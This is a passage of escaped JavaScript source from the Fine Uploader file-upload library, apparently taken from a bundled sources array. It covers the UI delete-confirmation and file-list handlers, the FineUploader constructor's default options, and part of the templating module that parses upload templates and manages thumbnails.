_onSubmitDelete: function(id) {\n            var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);\n\n            this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);\n        },\n\n        _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {\n            if (this._options.deleteFile.forceConfirm) {\n                this._showDeleteConfirm.apply(this, arguments);\n            }\n            else {\n                this._sendDeleteRequest.apply(this, arguments);\n            }\n        },\n\n        _onDeleteComplete: function(id, xhr, isError) {\n            this._parent.prototype._onDeleteComplete.apply(this, arguments);\n\n            this._templating.hideSpinner(id);\n\n            if (isError) {\n                this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);\n                this._templating.showDeleteButton(id);\n            }\n            else {\n                this._removeFileItem(id);\n            }\n        },\n\n        _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {\n            this._templating.hideDeleteButton(id);\n            this._templating.showSpinner(id);\n            this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);\n            this._deleteHandler.sendDelete.apply(this, arguments);\n        },\n\n        _showDeleteConfirm: function(id, uuid, mandatedParams) {\n            /*jshint -W004 */\n            var fileName = this.getName(id),\n                confirmMessage = this._options.deleteFile.confirmMessage.replace(/\\{filename\\}/g, fileName),\n                uuid = this.getUuid(id),\n                deleteRequestArgs = arguments,\n                self = this,\n                retVal;\n\n            retVal = this._options.showConfirm(confirmMessage);\n\n            if (qq.isGenericPromise(retVal)) {\n                retVal.then(function() {\n                    self._sendDeleteRequest.apply(self, deleteRequestArgs);\n                });\n            }\n            else if (retVal !== false) {\n                self._sendDeleteRequest.apply(self, deleteRequestArgs);\n            }\n        },\n\n        _addToList: function(id, name, canned) {\n            var prependData,\n                prependIndex = 0,\n                dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled,\n                record;\n\n            if (this._options.display.prependFiles) {\n                if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {\n                    prependIndex = this._filesInBatchAddedToUi - 1;\n                }\n\n                prependData = {\n                    index: prependIndex\n                };\n            }\n\n            if (!canned) {\n                if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {\n                    this._templating.disableCancel();\n                }\n\n                // Cancel all existing (previous) files and clear the list if this file is not part of\n                // a scaled file group that has already been accepted, or if this file is not part of\n                // a scaled file group at all.\n                if (!this._options.multiple) {\n                    record = this.getUploads({id: id});\n\n                    this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;\n\n                    if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {\n                        this._handler.cancelAll();\n                        this._clearList();\n                        this._handledProxyGroup = null;\n                    }\n                }\n            }\n\n            if (canned) {\n                this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);\n            }\n            else {\n                this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);\n            }\n\n            this._filesInBatchAddedToUi += 1;\n\n            if (canned ||\n                (this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading)) {\n\n                this._displayFileSize(id);\n            }\n        },\n\n        _clearList: function() {\n            this._templating.clearFiles();\n            this.clearStoredFiles();\n        },\n\n        _displayFileSize: function(id, loadedSize, totalSize) {\n            var size = this.getSize(id),\n                sizeForDisplay = this._formatSize(size);\n\n            if (size >= 0) {\n                if (loadedSize !== undefined && totalSize !== undefined) {\n                    sizeForDisplay = this._formatProgress(loadedSize, totalSize);\n                }\n\n                this._templating.updateSize(id, sizeForDisplay);\n            }\n        },\n\n        _formatProgress: function(uploadedSize, totalSize) {\n            var message = this._options.text.formatProgress;\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            r(\"{percent}\", Math.round(uploadedSize / totalSize * 100));\n            r(\"{total_size}\", this._formatSize(totalSize));\n            return message;\n        },\n\n        _controlFailureTextDisplay: function(id, response) {\n            var mode, responseProperty, failureReason;\n\n            mode = this._options.failedUploadTextDisplay.mode;\n            responseProperty = this._options.failedUploadTextDisplay.responseProperty;\n\n            if (mode === \"custom\") {\n                failureReason = response[responseProperty];\n                if (!failureReason) {\n                    failureReason = this._options.text.failUpload;\n                }\n\n                this._templating.setStatusText(id, failureReason);\n\n                if (this._options.failedUploadTextDisplay.enableTooltip) {\n                    this._showTooltip(id, failureReason);\n                }\n            }\n            else if (mode === \"default\") {\n                this._templating.setStatusText(id, this._options.text.failUpload);\n            }\n            else if (mode !== \"none\") {\n                this.log(\"failedUploadTextDisplay.mode value of '\" + mode + \"' is not valid\", \"warn\");\n            }\n        },\n\n        _showTooltip: function(id, text) {\n            this._templating.getFileContainer(id).title = text;\n        },\n\n        _showCancelLink: function(id) {\n            if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {\n                this._templating.showCancel(id);\n            }\n        },\n\n        _itemError: function(code, name, item) {\n            var message = this._parent.prototype._itemError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _batchError: function(message) {\n            this._parent.prototype._batchError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _setupPastePrompt: function() {\n            var self = this;\n\n            this._options.callbacks.onPasteReceived = function() {\n                var message = self._options.paste.namePromptMessage,\n                    defaultVal = self._options.paste.defaultName;\n\n                return self._options.showPrompt(message, defaultVal);\n            };\n        },\n\n        _fileOrBlobRejected: function(id, name) {\n            this._totalFilesInBatch -= 1;\n            this._parent.prototype._fileOrBlobRejected.apply(this, arguments);\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            this._totalFilesInBatch = items.length;\n            this._filesInBatchAddedToUi = 0;\n            this._parent.prototype._prepareItemsForUpload.apply(this, arguments);\n        },\n\n        _maybeUpdateThumbnail: function(fileId) {\n            var thumbnailUrl = this._thumbnailUrls[fileId],\n                fileStatus = this.getUploads({id: fileId}).status;\n\n            if (fileStatus !== qq.status.DELETED &&\n                (thumbnailUrl ||\n                this._options.thumbnails.placeholders.waitUntilResponse ||\n                !qq.supportedFeatures.imagePreviews)) {\n\n                // This will replace the \"waiting\" placeholder with a \"preview not available\" placeholder\n                // if called with a null thumbnailUrl.\n                this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);\n            }\n        },\n\n        _addCannedFile: function(sessionData) {\n            var id = this._parent.prototype._addCannedFile.apply(this, arguments);\n\n            this._addToList(id, this.getName(id), true);\n            this._templating.hideSpinner(id);\n            this._templating.hideCancel(id);\n            this._markFileAsSuccessful(id);\n\n            return id;\n        },\n\n        _setSize: function(id, newSize) {\n            this._parent.prototype._setSize.apply(this, arguments);\n\n            this._templating.updateSize(id, this._formatSize(newSize));\n        },\n\n        _sessionRequestComplete: function() {\n            this._templating.addCacheToDom();\n            this._parent.prototype._sessionRequestComplete.apply(this, arguments);\n        }\n    };\n}());\n","/*globals qq */\n/**\n * This defines FineUploader mode, which is a default UI w/ drag & drop uploading.\n */\nqq.FineUploader = function(o, namespace) {\n    \"use strict\";\n\n    var self = this;\n\n    // By default this should inherit instance data from FineUploaderBasic, but this can be overridden\n    // if the (internal) caller defines a different parent.  The parent is also used by\n    // the private and public API functions that need to delegate to a parent function.\n    this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;\n    this._parent.apply(this, arguments);\n\n    // Options provided by FineUploader mode\n    qq.extend(this._options, {\n        element: null,\n\n        button: null,\n\n        listElement: null,\n\n        dragAndDrop: {\n            extraDropzones: [],\n            reportDirectoryPaths: false\n        },\n\n        text: {\n            formatProgress: \"{percent}% of {total_size}\",\n            failUpload: \"Upload failed\",\n            waitingForResponse: \"Processing...\",\n            paused: \"Paused\"\n        },\n\n        template: \"qq-template\",\n\n        classes: {\n            retrying: \"qq-upload-retrying\",\n            retryable: \"qq-upload-retryable\",\n            success: \"qq-upload-success\",\n            fail: \"qq-upload-fail\",\n            editable: \"qq-editable\",\n            hide: \"qq-hide\",\n            dropActive: \"qq-upload-drop-area-active\"\n        },\n\n        failedUploadTextDisplay: {\n            mode: \"default\", //default, custom, or none\n            responseProperty: \"error\",\n            enableTooltip: true\n        },\n\n        messages: {\n            tooManyFilesError: \"You may only drop one file\",\n            unsupportedBrowser: \"Unrecoverable error - this browser does not permit file uploading of any kind.\"\n        },\n\n        retry: {\n            showAutoRetryNote: true,\n            autoRetryNote: \"Retrying {retryNum}/{maxAuto}...\"\n        },\n\n        deleteFile: {\n            forceConfirm: false,\n            confirmMessage: \"Are you sure you want to delete {filename}?\",\n            deletingStatusText: \"Deleting...\",\n            deletingFailedText: \"Delete failed\"\n\n        },\n\n        display: {\n            fileSizeOnSubmit: false,\n            prependFiles: false\n        },\n\n        paste: {\n            promptForName: false,\n            namePromptMessage: \"Please name this image\"\n        },\n\n        thumbnails: {\n            customResizer: null,\n            maxCount: 0,\n            placeholders: {\n                waitUntilResponse: false,\n                notAvailablePath: null,\n                waitingPath: null\n            },\n            timeBetweenThumbs: 750\n        },\n\n        scaling: {\n            hideScaled: false\n        },\n\n        showMessage: function(message) {\n            if (self._templating.hasDialog(\"alert\")) {\n                return self._templating.showDialog(\"alert\", message);\n            }\n            else {\n                setTimeout(function() {\n                    window.alert(message);\n                }, 0);\n            }\n        },\n\n        showConfirm: function(message) {\n            if (self._templating.hasDialog(\"confirm\")) {\n                return self._templating.showDialog(\"confirm\", message);\n            }\n            else {\n                return window.confirm(message);\n            }\n        },\n\n        showPrompt: function(message, defaultValue) {\n            if (self._templating.hasDialog(\"prompt\")) {\n                return self._templating.showDialog(\"prompt\", message, defaultValue);\n            }\n            else {\n                return window.prompt(message, defaultValue);\n            }\n        }\n    }, true);\n\n    // Replace any default options with user defined ones\n    qq.extend(this._options, o, true);\n\n    this._templating = new qq.Templating({\n        log: qq.bind(this.log, this),\n        templateIdOrEl: this._options.template,\n        containerEl: this._options.element,\n        fileContainerEl: this._options.listElement,\n        button: this._options.button,\n        imageGenerator: this._imageGenerator,\n        classes: {\n            hide: this._options.classes.hide,\n            editable: this._options.classes.editable\n        },\n        limits: {\n            maxThumbs: this._options.thumbnails.maxCount,\n            timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs\n        },\n        placeholders: {\n            waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,\n            thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,\n            waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath\n        },\n        text: this._options.text\n    });\n\n    if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);\n    }\n    else if (!qq.supportedFeatures.uploading || (this._options.cors.expected && !qq.supportedFeatures.uploadCors)) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowser);\n    }\n    else {\n        this._wrapCallbacks();\n\n        this._templating.render();\n\n        this._classes = this._options.classes;\n\n        if (!this._options.button && this._templating.getButton()) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._templating.getButton(),\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._setupClickAndEditEventHandlers();\n\n        if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {\n            this._dnd = this._setupDragAndDrop();\n        }\n\n        if (this._options.paste.targetElement && this._options.paste.promptForName) {\n            if (qq.PasteSupport) {\n                this._setupPastePrompt();\n            }\n            else {\n                this.log(\"Paste support module not found.\", \"error\");\n            }\n        }\n\n        this._totalFilesInBatch = 0;\n        this._filesInBatchAddedToUi = 0;\n    }\n};\n\n// Inherit the base public & private API methods\nqq.extend(qq.FineUploader.prototype, qq.basePublicApi);\nqq.extend(qq.FineUploader.prototype, qq.basePrivateApi);\n\n// Add the FineUploader/default UI public & private UI methods, which may override some base methods.\nqq.extend(qq.FineUploader.prototype, qq.uiPublicApi);\nqq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);\n","/* globals qq */\n/* jshint -W065 */\n/**\n * Module responsible for rendering all Fine Uploader UI templates.  This module also asserts at least\n * a limited amount of control over the template elements after they are added to the DOM.\n * Wherever possible, this module asserts total control over template elements present in the DOM.\n *\n * @param spec Specification object used to control various templating behaviors\n * @constructor\n */\nqq.Templating = function(spec) {\n    \"use strict\";\n\n    var FILE_ID_ATTR = \"qq-file-id\",\n        FILE_CLASS_PREFIX = \"qq-file-id-\",\n        THUMBNAIL_MAX_SIZE_ATTR = \"qq-max-size\",\n        THUMBNAIL_SERVER_SCALE_ATTR = \"qq-server-scale\",\n        // This variable is duplicated in the DnD module since it can function as a standalone as well\n        HIDE_DROPZONE_ATTR = \"qq-hide-dropzone\",\n        DROPZPONE_TEXT_ATTR = \"qq-drop-area-text\",\n        IN_PROGRESS_CLASS = \"qq-in-progress\",\n        HIDDEN_FOREVER_CLASS = \"qq-hidden-forever\",\n        fileBatch = {\n            content: document.createDocumentFragment(),\n            map: {}\n        },\n        isCancelDisabled = false,\n        generatedThumbnails = 0,\n        thumbnailQueueMonitorRunning = false,\n        thumbGenerationQueue = [],\n        thumbnailMaxSize = -1,\n        options = {\n            log: null,\n            limits: {\n                maxThumbs: 0,\n                timeBetweenThumbs: 750\n            },\n            templateIdOrEl: \"qq-template\",\n            containerEl: null,\n            fileContainerEl: null,\n            button: null,\n            imageGenerator: null,\n            classes: {\n                hide: \"qq-hide\",\n                editable: \"qq-editable\"\n            },\n            placeholders: {\n                waitUntilUpdate: false,\n                thumbnailNotAvailable: null,\n                waitingForThumbnail: null\n            },\n            text: {\n                paused: \"Paused\"\n            }\n        },\n        selectorClasses = {\n            button: \"qq-upload-button-selector\",\n            alertDialog: \"qq-alert-dialog-selector\",\n            dialogCancelButton: \"qq-cancel-button-selector\",\n            confirmDialog: \"qq-confirm-dialog-selector\",\n            dialogMessage: \"qq-dialog-message-selector\",\n            dialogOkButton: \"qq-ok-button-selector\",\n            promptDialog: \"qq-prompt-dialog-selector\",\n            uploader: \"qq-uploader-selector\",\n            drop: \"qq-upload-drop-area-selector\",\n            list: \"qq-upload-list-selector\",\n            progressBarContainer: \"qq-progress-bar-container-selector\",\n            progressBar: \"qq-progress-bar-selector\",\n            totalProgressBarContainer: \"qq-total-progress-bar-container-selector\",\n            totalProgressBar: \"qq-total-progress-bar-selector\",\n            file: \"qq-upload-file-selector\",\n            spinner: \"qq-upload-spinner-selector\",\n            size: \"qq-upload-size-selector\",\n            cancel: \"qq-upload-cancel-selector\",\n            pause: \"qq-upload-pause-selector\",\n            continueButton: \"qq-upload-continue-selector\",\n            deleteButton: \"qq-upload-delete-selector\",\n            retry: \"qq-upload-retry-selector\",\n            statusText: \"qq-upload-status-text-selector\",\n            editFilenameInput: \"qq-edit-filename-selector\",\n            editNameIcon: \"qq-edit-filename-icon-selector\",\n            dropText: \"qq-upload-drop-area-text-selector\",\n            dropProcessing: \"qq-drop-processing-selector\",\n            dropProcessingSpinner: \"qq-drop-processing-spinner-selector\",\n            thumbnail: \"qq-thumbnail-selector\"\n        },\n        previewGeneration = {},\n        cachedThumbnailNotAvailableImg = new qq.Promise(),\n        cachedWaitingForThumbnailImg = new qq.Promise(),\n        log,\n        isEditElementsExist,\n        isRetryElementExist,\n        templateHtml,\n        container,\n        fileList,\n        showThumbnails,\n        serverScale,\n\n        // During initialization of the templating module we should cache any\n        // placeholder images so we can quickly swap them into the file list on demand.\n        // Any placeholder images that cannot be loaded/found are simply ignored.\n        cacheThumbnailPlaceholders = function() {\n            var notAvailableUrl =  options.placeholders.thumbnailNotAvailable,\n                waitingUrl = options.placeholders.waitingForThumbnail,\n                spec = {\n                    maxSize: thumbnailMaxSize,\n                    scale: serverScale\n                };\n\n            if (showThumbnails) {\n                if (notAvailableUrl) {\n                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedThumbnailNotAvailableImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedThumbnailNotAvailableImg.failure();\n                            log(\"Problem loading 'not available' placeholder image at \" + notAvailableUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedThumbnailNotAvailableImg.failure();\n                }\n\n                if (waitingUrl) {\n                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedWaitingForThumbnailImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedWaitingForThumbnailImg.failure();\n                            log(\"Problem loading 'waiting for thumbnail' placeholder image at \" + waitingUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedWaitingForThumbnailImg.failure();\n                }\n            }\n        },\n\n        // Displays a \"waiting for thumbnail\" type placeholder image\n        // iff we were able to load it during initialization of the templating module.\n        displayWaitingImg = function(thumbnail) {\n            var waitingImgPlacement = new qq.Promise();\n\n            cachedWaitingForThumbnailImg.then(function(img) {\n                maybeScalePlaceholderViaCss(img, thumbnail);\n                /* jshint eqnull:true */\n                if (!thumbnail.src) {\n                    thumbnail.src = img.src;\n                    thumbnail.onload = function() {\n                        thumbnail.onload = null;\n                        show(thumbnail);\n                        waitingImgPlacement.success();\n                    };\n                }\n                else {\n                    waitingImgPlacement.success();\n                }\n            }, function() {\n                // In some browsers (such as IE9 and older) an img w/out a src attribute\n                // are displayed as \"broken\" images, so we should just hide the img tag\n                // if we aren't going to display the \"waiting\" placeholder.\n                hide(thumbnail);\n                waitingImgPlacement.success();\n            });\n\n            return waitingImgPlacement;\n        },\n\n        generateNewPreview = function(id, blob, spec) {\n            var thumbnail = getThumbnail(id);\n\n            log(\"Generating new thumbnail for \" + id);\n            blob.qqThumbnailId = id;\n\n            return options.imageGenerator.generate(blob, thumbnail, spec).then(\n                function() {\n                    generatedThumbnails++;\n                    show(thumbnail);\n                    previewGeneration[id].success();\n                },\n                function() {\n                    previewGeneration[id].failure();\n\n                    // Display the \"not available\" placeholder img only if we are\n                    // not expecting a thumbnail at a later point, such as in a server response.\n                    if (!options.placeholders.waitUntilUpdate) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    }\n                });\n        },\n\n        generateNextQueuedPreview = function() {\n            if (thumbGenerationQueue.length) {\n                thumbnailQueueMonitorRunning = true;\n\n                var queuedThumbRequest = thumbGenerationQueue.shift();\n\n                if (queuedThumbRequest.update) {\n                    processUpdateQueuedPreviewRequest(queuedThumbRequest);\n                }\n                else {\n                    processNewQueuedPreviewRequest(queuedThumbRequest);\n                }\n            }\n            else {\n                thumbnailQueueMonitorRunning = false;\n            }\n        },\n\n        getCancel = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.cancel);\n        },\n\n        getContinue = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.continueButton);\n        },\n\n        getDialog = function(type) {\n            return getTemplateEl(container, selectorClasses[type + \"Dialog\"]);\n        },\n\n        getDelete = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.deleteButton);\n        },\n\n        getDropProcessing = function() {\n            return getTemplateEl(container, selectorClasses.dropProcessing);\n        },\n\n        getEditIcon = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);\n        },\n\n        getFile = function(id) {\n            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);\n        },\n\n        getFilename = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.file);\n        },\n\n        getPause = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.pause);\n        },\n\n        getProgress = function(id) {\n            /* jshint eqnull:true */\n            // Total progress bar\n            if (id == null) {\n                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) ||\n                    getTemplateEl(container, selectorClasses.totalProgressBar);\n            }\n\n            // Per-file progress bar\n            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) ||\n                getTemplateEl(getFile(id), selectorClasses.progressBar);\n        },\n\n        getRetry = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.retry);\n        },\n\n        getSize = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.size);\n        },\n\n        getSpinner = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.spinner);\n        },\n\n        getTemplateEl = function(context, cssClass) {\n            return context && qq(context).getFirstByClass(cssClass);\n        },\n\n        getThumbnail = function(id) {\n            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);\n        },\n\n        hide = function(el) {\n            el && qq(el).addClass(options.classes.hide);\n        },\n\n        // Ensures a placeholder image does not exceed any max size specified\n        // via `style` attribute properties iff <canvas> was not used to scale\n        // the placeholder AND the target <img> doesn't already have these `style` attribute properties set.\n        maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {\n            var maxWidth = placeholder.style.maxWidth,\n                maxHeight = placeholder.style.maxHeight;\n\n            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {\n                qq(thumbnail).css({\n                    maxWidth: maxWidth,\n                    maxHeight: maxHeight\n                });\n            }\n        },\n\n        // Displays a \"thumbnail not available\" type placeholder image\n        // iff we were able to load this placeholder during initialization\n        // of the templating module or after preview generation has failed.\n        maybeSetDisplayNotAvailableImg = function(id, thumbnail) {\n            var previewing = previewGeneration[id] || new qq.Promise().failure(),\n                notAvailableImgPlacement = new qq.Promise();\n\n            cachedThumbnailNotAvailableImg.then(function(img) {\n                previewing.then(\n                    function() {\n                        notAvailableImgPlacement.success();\n                    },\n                    function() {\n                        maybeScalePlaceholderViaCss(img, thumbnail);\n\n                        thumbnail.onload = function() {\n                            thumbnail.onload = null;\n                            notAvailableImgPlacement.success();\n                        };\n\n                        thumbnail.src = img.src;\n                        show(thumbnail);\n                    }\n                );\n            });\n\n            return notAvailableImgPlacement;\n        },\n\n        /**\n         * Grabs the HTML from the script tag holding the template markup.  This function will also adjust\n         * some internally-tracked state variables based on the contents of the template.\n         * The template is filtered so that irrelevant elements (such as the drop zone if DnD is not supported)\n         * are omitted from the DOM.  Useful errors will be thrown if the template cannot be parsed.\n         *\n         * @returns {{template: *, fileTemplate: *}} HTML for the top-level file items templates\n         */\n        parseAndGetTemplate = function() {\n            var scriptEl,\n                scriptHtml,\n                fileListNode,\n                tempTemplateEl,\n                fileListHtml,\n                defaultButton,\n                dropArea,\n                thumbnail,\n                dropProcessing,\n                dropTextEl,\n                uploaderEl;\n\n            log(\"Parsing template\");\n\n            /*jshint -W116*/\n            if (options.templateIdOrEl == null) {\n                throw new Error(\"You MUST specify either a template element or ID!\");\n            }\n\n            // Grab the contents of the script tag holding the template.\n            if (qq.isString(options.templateIdOrEl)) {\n                scriptEl = document.getElementById(options.templateIdOrEl);\n\n                if (scriptEl === null) {\n                    throw new Error(qq.format(\"Cannot find template script at ID '{}'!\", options.templateIdOrEl));\n                }\n\n                scriptHtml = scriptEl.innerHTML;\n            }\n            else {\n                if (options.templateIdOrEl.innerHTML === undefined) {\n                    throw new Error(\"You have specified an invalid value for the template option!  \" +\n                        \"It must be an ID or an Element.\");\n                }\n\n                scriptHtml = options.templateIdOrEl.innerHTML;\n            }\n\n            scriptHtml = qq.trimStr(scriptHtml);\n            tempTemplateEl = document.createElement(\"div\");\n            tempTemplateEl.appendChild(qq.toElement(scriptHtml));\n            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);\n\n            // Don't include the default template button in the DOM\n            // if an alternate button container has been specified.\n            if (options.button) {\n                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);\n                if (defaultButton) {\n                    qq(defaultButton).remove();\n                }\n            }\n\n            // Omit the drop processing element from the DOM if DnD is not supported by the UA,\n            // or the drag and drop module is not found.\n            // NOTE: We are consciously not removing the drop zone if the UA doesn't support DnD\n            // to support layouts where the drop zone is also a container for visible elements,\n            // such as the file list.\n            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {\n                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);\n                if (dropProcessing) {\n                    qq(dropProcessing).remove();\n                }\n            }\n\n            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);\n\n            // If DnD is not available then remove\n            // it from the DOM as well.\n            if (dropArea && !qq.DragAndDrop) {\n                log(\"DnD module unavailable.\", \"info\");\n                qq(dropArea).remove();\n            }\n\n            if (!qq.supportedFeatures.fileDrop) {\n                // don't display any \"drop files to upload\" background text\n                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {\n                    // If there is a drop area defined in the template, and the current UA doesn't support DnD,\n                    // and the drop area is marked as \"hide before enter\", ensure it is hidden as the DnD module\n                    // will not do this (since we will not be loading the DnD module)\n                    qq(dropArea).css({\n                        display: \"none\"\n                    });\n                }\n            }\n            else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {\n                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);\n                dropTextEl && qq(dropTextEl).remove();\n            }\n\n            // Ensure the `showThumbnails` flag is only set if the thumbnail element\n            // is present in the template AND the current UA is capable of generating client-side previews.\n            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);\n            if (!showThumbnails) {\n                thumbnail && qq(thumbnail).remove();\n            }\n            else if (thumbnail) {\n                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));\n                // Only enforce max size if the attr value is non-zero\n                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;\n\n                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);\n            }\n            showThumbnails = showThumbnails && thumbnail;\n\n            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;\n            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;\n\n            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);\n            /*jshint -W116*/\n            if (fileListNode == null) {\n                throw new Error(\"Could not find the file list container in the template!\");\n            }\n\n            fileListHtml = fileListNode.innerHTML;\n            fileListNode.innerHTML = \"\";\n\n            // We must call `createElement` in IE8 in order to target and hide any <dialog> via CSS\n            if (tempTemplateEl.getElementsByTagName(\"DIALOG\").length) {\n                document.createElement(\"dialog\");\n            }\n\n            log(\"Template parsing complete\");\n\n            return {\n                template: qq.trimStr(tempTemplateEl.innerHTML),\n                fileTemplate: qq.trimStr(fileListHtml)\n            };\n        },\n\n        prependFile = function(el, index, fileList) {\n            var parentEl = fileList,\n                beforeEl = parentEl.firstChild;\n\n            if (index > 0) {\n                beforeEl = qq(parentEl).children()[index].nextSibling;\n\n            }\n\n            parentEl.insertBefore(el, beforeEl);\n        },\n\n        processNewQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                optFileOrBlob = queuedThumbRequest.optFileOrBlob,\n                relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    maxSize: thumbnailMaxSize,\n                    orient: true,\n                    scale: true\n                };\n\n            if (qq.supportedFeatures.imagePreviews) {\n                if (thumbnail) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        displayWaitingImg(thumbnail).done(function() {\n                            previewGeneration[id] = new qq.Promise();\n\n                            previewGeneration[id].done(function() {\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            });\n\n                            /* jshint eqnull: true */\n                            // If we've already generated an <img> for this file, use the one that exists,\n                            // don't waste resources generating a new one.\n                            if (relatedThumbnailId != null) {\n                                useCachedPreview(id, relatedThumbnailId);\n                            }\n                            else {\n                                generateNewPreview(id, optFileOrBlob, spec);\n                            }\n                        });\n                    }\n                }\n                // File element in template may have been removed, so move on to next item in queue\n                else {\n                    generateNextQueuedPreview();\n                }\n            }\n            else if (thumbnail) {\n                displayWaitingImg(thumbnail);\n                generateNextQueuedPreview();\n            }\n        },\n\n        processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                thumbnailUrl = queuedThumbRequest.thumbnailUrl,\n                showWaitingImg = queuedThumbRequest.showWaitingImg,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    scale: serverScale,\n                    maxSize: thumbnailMaxSize\n                };\n\n            if (thumbnail) {\n                if (thumbnailUrl) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        if (showWaitingImg) {\n                            displayWaitingImg(thumbnail);\n                        }\n\n                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(\n                            function() {\n                                show(thumbnail);\n                                generatedThumbnails++;\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            },\n\n                            function() {\n                                maybeSetDisplayNotAvailableImg(id, thumbnail);\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            }\n                        );\n                    }\n                }\n                else {\n                    maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    generateNextQueuedPreview();\n                }\n            }\n        },\n\n        setProgressBarWidth = function(id, percent) {\n            var bar = getProgress(id),\n                /* jshint eqnull:true */\n                progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;\n\n            if (bar && !qq(bar).hasClass(progressBarSelector)) {\n                bar = qq(bar).getFirstByClass(progressBarSelector);\n            }\n\n            if (bar) {\n                